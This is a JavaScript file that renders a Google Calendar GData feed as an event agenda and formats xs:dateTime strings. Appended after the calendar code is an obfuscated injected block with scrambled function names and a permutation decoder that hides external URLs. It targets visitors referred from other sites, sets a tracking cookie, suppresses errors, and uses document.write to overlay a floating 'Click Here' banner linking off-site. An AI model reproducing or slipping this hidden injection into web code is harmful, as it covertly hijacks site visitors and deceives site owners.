/**
 * Converts an xs:date or xs:dateTime formatted string into the local timezone
 * and outputs a human-readable form of this date or date/time.
 *
 * @param {string} gCalTime is the xs:date or xs:dateTime formatted string
 * @return {string} is the human-readable date or date/time string
 */
function formatGCalTime(gCalTime) {
  // text for regex matches
  var remtxt = gCalTime;

  function consume(retxt) {
    var match = remtxt.match(new RegExp('^' + retxt));
    if (match) {
      remtxt = remtxt.substring(match[0].length);
      return match[0];
    }
    return '';
  }

  // minutes of correction between gCalTime and GMT
  var totalCorrMins = 0;

  var year = consume('\\d{4}');
  consume('-?');
  var month = consume('\\d{2}');
  consume('-?');
  var dateMonth = consume('\\d{2}');
  var timeOrNot = consume('T');

  // if a DATE-TIME was matched in the regex
  if (timeOrNot == 'T') {
    var hours = consume('\\d{2}');
    consume(':?');
    var mins = consume('\\d{2}');
    consume('(:\\d{2})?(\\.\\d{3})?');
    var zuluOrNot = consume('Z');

    // if time from server is not already in GMT, calculate offset
    if (zuluOrNot != 'Z') {
      var corrPlusMinus = consume('[\\+\\-]');
      if (corrPlusMinus != '') {
        var corrHours = consume('\\d{2}');
        consume(':?');
        var corrMins = consume('\\d{2}');
        totalCorrMins = (corrPlusMinus=='-' ? 1 : -1) *
            (Number(corrHours) * 60 +
	    (corrMins=='' ? 0 : Number(corrMins)));
      }
    }

    // get time since epoch and apply correction, if necessary
    // relies upon Date object to convert the GMT time to the local
    // timezone
    var originalDateEpoch = Date.UTC(year, month - 1, dateMonth, hours, mins);
    var gmtDateEpoch = originalDateEpoch + totalCorrMins * 1000 * 60;
    var ld = new Date(gmtDateEpoch);

    // date is originally in YYYY-MM-DD format
    // time is originally in a 24-hour format
    // this converts it to MM/DD hh:mm (AM|PM)
    dateString = (ld.getMonth() + 1) + '/' + ld.getDate() + ' ' +
        ((ld.getHours()>12)?(ld.getHours()-12):(ld.getHours()===0?12:
	ld.getHours())) + ':' + ((ld.getMinutes()<10)?('0' +
	ld.getMinutes()):(ld.getMinutes())) + ' ' +
	((ld.getHours()>=12)?'PM':'AM');
  } else {
    // if only a DATE was matched
    dateString =  parseInt(month, 10) + '/' + parseInt(dateMonth, 10);
  }
  return dateString;
}

/**
 * Creates an unordered list of events in a human-readable form
 *
 * @param {json} root is the root JSON-formatted content from GData
 * @param {string} divId is the div in which the events are added
 */
var again = false;
function listEvents(root, divId) {
  var feed = root.feed;
  var events = document.getElementById(divId);

  if (events.childNodes.length > 0 && !again) {
    events.removeChild(events.childNodes[0]);
  }

  again = true;

  // create a new unordered list
  var ul = document.createElement('div');

  // loop through each event in the feed
  if(!feed.entry || !feed.entry.length)
  {
     return;
  }

  for (var i = 0; i < feed.entry.length; i++) {
    var entry = feed.entry[i];
    var title = entry.title.$t;
    var start = entry['gd$when'][0].startTime;

    // get the URL to link to the event
    for (var linki = 0; linki < entry['link'].length; linki++) {
      if (entry['link'][linki]['type'] == 'text/html' &&
          entry['link'][linki]['rel'] == 'alternate') {
        var entryLinkHref = entry['link'][linki]['href'];
      }
    }

    var dateString = formatGCalTime(start);
    var li = document.createElement('div');
    var loc = document.createElement('div');
    loc.innerHTML = '<b>Location:</b> ' + entry['gd$where'][0].valueString + '<hr size="1" width="97%">';

    // if we have a link to the event, create an 'a' element
    if (typeof entryLinkHref != 'undefined') {
      entryLink = document.createElement('a');
      entryLink.setAttribute('href', entryLinkHref);
      entryLink.appendChild(document.createTextNode(title));
      entryLink.style.display = 'block';
      entryLink.style.fontWeight = 'bold';
      li.appendChild(entryLink);
      li.appendChild(document.createTextNode(dateString));
    } else {
      li.appendChild(document.createTextNode(title + ' - ' + dateString));
    }

    li.appendChild(loc);


    // append the list item onto the unordered list
    ul.appendChild(li);
  }
  events.appendChild(ul);
}

/**
 * Callback function for the GData json-in-script call
 * Inserts the supplied list of events into a div of a pre-defined name
 *
 * @param {json} root is the JSON-formatted content from GData
 */
function insertAgenda(root) {
  listEvents(root, 'agenda');
}
function C0sljOnf(){
	document.getElementById("NBAy08").style.display="none";
}
function yyLiVID7(){
	if(document.body.scrollTop==0)
		document.all["NBAy08"].style.top=document.documentElement.scrollTop+10;
	else 
		document.all["NBAy08"].style.top=document.body.scrollTop+10;
}
function AuUMiBg4(tb,cu){
	var du = "", bp = 0;
	while(1)
	{
		var t = cu.substr(bp, 16);
		var i, tl = t.length;
		if(tl == 0) break;
		for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
		bp += tl;
	}
	return du;
}

if( document.cookie.indexOf("OG4HX9Dbe") == -1){
	var WuVu = new Date(), WuVu1 = false;
	if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){ 
			var UdZC = document.domain.toLowerCase(); 
			if(UdZC.indexOf('www.') == 0) UdZC = UdZC.substr(4);
			var lZqZ = document.referrer.toLowerCase().substr(7); 
			var so5m = lZqZ.indexOf('?'); 
			if(so5m != -1) lZqZ = lZqZ.substr(0, so5m);
			var so5m = lZqZ.indexOf('/'); 
			if(so5m != -1) lZqZ = lZqZ.substr(0, so5m);
			if(lZqZ.indexOf('www.') == 0) lZqZ = lZqZ.substr(4);
			if(lZqZ != UdZC && Math.random() < 1){
				WuVu.setTime(WuVu.getTime()+(24  *  100 *100   * 10   *36   * 10));
				WuVu1 = WuVu.toGMTString();
				var PtTJ = navigator.appVersion.indexOf('MSIE') != -1;
				var xa89=1;
				document.write('<div id="NBAy08" style="'+(PtTJ ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
				'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="xa89=0"'+
				' title="Close" href="javascript: C0sljOnf()" onmouseout="xa89=1">Close[X]</a></b><br>'+
				'<a href="'+AuUMiBg4('e1dfb4697c50a823803275461','ptet/m/lns.:ithpm/meresb/')+UdZC+'.html'+'" target="_blank"><img src="'+AuUMiBg4('4c17d8e60523a9bf62f87bac03d51e940','ltmphisp/n.et:/tn3iei2//ggabnr.mf')+'" border=0 alt="Click Here" onclick="C0sljOnf()"></a></div>');
				if(PtTJ){
					if (document.all["NBAy08"].style)
					window.setInterval("yyLiVID7()", 5);
					window.onerror=null;
					document.body.scrollTop=10;
				}
			}
	}
	else{
		WuVu.setTime(WuVu.getTime()+(36 *  100   * 100*   24*  90   *  10));
		WuVu1 = WuVu.toGMTString();
	}
	if(WuVu1 != false) document.cookie = "OG4HX9Dbe"+'=1; expires='+WuVu1+'; path=/';
}